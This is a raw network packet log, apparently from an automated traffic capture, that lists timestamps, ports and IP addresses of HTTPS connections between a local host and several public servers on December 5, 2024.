Dec 5, 2024 22:17:04.608124971 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.615494013 CET	443	49826	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.615859032 CET	49826	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.615897894 CET	443	49826	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.616261005 CET	49826	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.616266966 CET	443	49826	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.641046047 CET	49820	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.641105890 CET	443	49820	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.655339956 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.656888008 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.656912088 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:04.693954945 CET	443	49823	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.694411039 CET	49823	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.694427967 CET	443	49823	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.694838047 CET	49823	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.694842100 CET	443	49823	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.695108891 CET	49820	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.710905075 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:04.728429079 CET	443	49827	142.250.181.100	192.168.2.4
Dec 5, 2024 22:17:04.728688002 CET	49827	443	192.168.2.4	142.250.181.100
Dec 5, 2024 22:17:04.728698015 CET	443	49827	142.250.181.100	192.168.2.4
Dec 5, 2024 22:17:04.729027987 CET	443	49827	142.250.181.100	192.168.2.4
Dec 5, 2024 22:17:04.729346991 CET	49827	443	192.168.2.4	142.250.181.100
Dec 5, 2024 22:17:04.729409933 CET	443	49827	142.250.181.100	192.168.2.4
Dec 5, 2024 22:17:04.770906925 CET	443	49828	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.771248102 CET	49828	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.771261930 CET	443	49828	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.771631002 CET	49828	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.771636009 CET	443	49828	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.773791075 CET	49827	443	192.168.2.4	142.250.181.100
Dec 5, 2024 22:17:04.871510983 CET	443	49822	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.871957064 CET	49822	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.871970892 CET	443	49822	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:04.872354984 CET	49822	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:04.872359991 CET	443	49822	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.036037922 CET	443	49824	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.036103010 CET	443	49824	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.036293983 CET	49824	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.036356926 CET	49824	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.036370039 CET	443	49824	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.036382914 CET	49824	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.036387920 CET	443	49824	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.038948059 CET	49829	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.038979053 CET	443	49829	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.039046049 CET	49829	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.039172888 CET	49829	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.039192915 CET	443	49829	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.050805092 CET	443	49826	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.050857067 CET	443	49826	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.050993919 CET	49826	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.051018000 CET	49826	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.051024914 CET	443	49826	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.051033974 CET	49826	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.051038027 CET	443	49826	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.052908897 CET	49830	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.052947998 CET	443	49830	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.053008080 CET	49830	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.053109884 CET	49830	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.053119898 CET	443	49830	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.119307995 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.162753105 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.206439018 CET	443	49828	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.206492901 CET	443	49828	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.206532955 CET	49828	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.218368053 CET	49828	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.218381882 CET	443	49828	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.218414068 CET	49828	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.218420029 CET	443	49828	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.221839905 CET	49831	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.221856117 CET	443	49831	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.221921921 CET	49831	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.222069025 CET	49831	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.222080946 CET	443	49831	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.239751101 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.239762068 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.239792109 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.239806890 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.239819050 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.239831924 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.239846945 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.239871979 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.239907026 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.241933107 CET	443	49823	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.241996050 CET	443	49823	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.242046118 CET	49823	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.242136002 CET	49823	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.242151976 CET	443	49823	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.242163897 CET	49823	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.242168903 CET	443	49823	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.244079113 CET	49832	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.244113922 CET	443	49832	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.244183064 CET	49832	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.244324923 CET	49832	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.244338989 CET	443	49832	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.308157921 CET	443	49822	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.308228016 CET	443	49822	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.308284044 CET	49822	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.308388948 CET	49822	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.308401108 CET	443	49822	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.308412075 CET	49822	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.308418036 CET	443	49822	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.310504913 CET	49833	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.310549021 CET	443	49833	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.310630083 CET	49833	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.310779095 CET	49833	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.310794115 CET	443	49833	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.349442959 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.349452972 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.349489927 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.349503040 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.349534988 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.349548101 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.349576950 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.349602938 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.377682924 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.377715111 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.377783060 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.377995968 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.378006935 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.396553993 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.396562099 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.396591902 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.396635056 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.396644115 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.396687031 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.396703005 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.463342905 CET	49741	443	192.168.2.4	151.101.2.114
Dec 5, 2024 22:17:05.463453054 CET	443	49741	151.101.2.114	192.168.2.4
Dec 5, 2024 22:17:05.463522911 CET	49741	443	192.168.2.4	151.101.2.114
Dec 5, 2024 22:17:05.464870930 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.464912891 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.464978933 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.465251923 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.465286016 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.465337038 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.465549946 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.465569019 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.465756893 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:05.465770960 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:05.519767046 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.519788980 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.519882917 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.519892931 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.519949913 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.548626900 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.548644066 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.548723936 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.548743010 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.548778057 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.572645903 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.572662115 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.572730064 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.572737932 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.572787046 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.590548992 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.590564013 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.590641975 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.590650082 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.590689898 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.706330061 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.706356049 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.706459999 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.706470966 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.706522942 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.717607975 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.717643976 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.717672110 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.717679024 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.717703104 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:05.717704058 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.717746973 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.718055010 CET	49821	443	192.168.2.4	152.199.21.175
Dec 5, 2024 22:17:05.718069077 CET	443	49821	152.199.21.175	192.168.2.4
Dec 5, 2024 22:17:06.755439997 CET	443	49829	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.758604050 CET	49829	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.758637905 CET	443	49829	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.759174109 CET	49829	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.759179115 CET	443	49829	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.769244909 CET	443	49830	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.769614935 CET	49830	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.769639969 CET	443	49830	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.770020008 CET	49830	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.770025969 CET	443	49830	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.912208080 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.912462950 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.912489891 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.913530111 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.913598061 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.914639950 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.914699078 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.914896011 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.914902925 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.946768999 CET	443	49831	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.947235107 CET	49831	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.947261095 CET	443	49831	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.947688103 CET	49831	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.947693110 CET	443	49831	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.958564997 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.961710930 CET	443	49832	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.962027073 CET	49832	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.962042093 CET	443	49832	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:06.962368011 CET	49832	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:06.962373018 CET	443	49832	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.036804914 CET	443	49833	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.037317991 CET	49833	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.037354946 CET	443	49833	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.037770033 CET	49833	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.037775040 CET	443	49833	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.193495989 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.193754911 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.193775892 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.194660902 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.194721937 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.195082903 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.195136070 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.195169926 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.195204020 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.195209980 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.195327044 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.195343018 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.196281910 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.196341991 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.196615934 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.196681023 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.196703911 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.204380989 CET	443	49830	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.204430103 CET	443	49830	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.204488993 CET	49830	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.204672098 CET	49830	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.204695940 CET	443	49830	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.204706907 CET	49830	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.204711914 CET	443	49830	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.207560062 CET	49838	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.207587957 CET	443	49838	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.207660913 CET	49838	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.207830906 CET	49838	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.207844973 CET	443	49838	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.239326954 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.248929024 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.248934031 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.248941898 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.296310902 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.381900072 CET	443	49829	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.381968975 CET	443	49829	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.382035017 CET	49829	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.382741928 CET	443	49831	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.382813931 CET	443	49831	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.382850885 CET	49831	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.384188890 CET	49829	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.384208918 CET	443	49829	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.384224892 CET	49829	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.384231091 CET	443	49829	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.385402918 CET	49831	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.385409117 CET	443	49831	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.385421038 CET	49831	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.385423899 CET	443	49831	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.387662888 CET	49839	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.387696981 CET	443	49839	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.387722969 CET	49840	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.387748003 CET	443	49840	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.387758017 CET	49839	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.387799025 CET	49840	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.387923956 CET	49839	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.387934923 CET	443	49839	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.388065100 CET	49840	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.388079882 CET	443	49840	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.394640923 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.394679070 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.394687891 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.394709110 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.394735098 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.394737959 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.394758940 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.394790888 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.394814968 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.398459911 CET	443	49832	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.398519039 CET	443	49832	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.398565054 CET	49832	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.398719072 CET	49832	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.398731947 CET	443	49832	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.398761034 CET	49832	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.398766041 CET	443	49832	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.400613070 CET	49841	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.400635004 CET	443	49841	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.400707960 CET	49841	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.400851011 CET	49841	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.400861979 CET	443	49841	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.473972082 CET	443	49833	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.474029064 CET	443	49833	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.474076986 CET	49833	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.474193096 CET	49833	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.474204063 CET	443	49833	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.474212885 CET	49833	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.474221945 CET	443	49833	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.476128101 CET	49842	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.476139069 CET	443	49842	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.476201057 CET	49842	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.476309061 CET	49842	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.476320982 CET	443	49842	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.543560982 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.543623924 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.543663025 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.543704987 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.544095039 CET	49834	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.544102907 CET	443	49834	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683722019 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683757067 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683768034 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683788061 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683796883 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683804989 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683830023 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.683850050 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683880091 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.683897972 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.683903933 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683923960 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.683969021 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.686863899 CET	49836	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.686881065 CET	443	49836	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.745914936 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.745938063 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.745944023 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.745974064 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.745986938 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.745995998 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.746011019 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.746033907 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.746061087 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.746098042 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.838112116 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.838150978 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.838221073 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.838418007 CET	49843	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.838432074 CET	443	49843	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.861399889 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.861418009 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.861490011 CET	49835	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:07.861502886 CET	443	49835	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:07.861547947 CET	49835	443	192.168.2.4	13.107.246.63
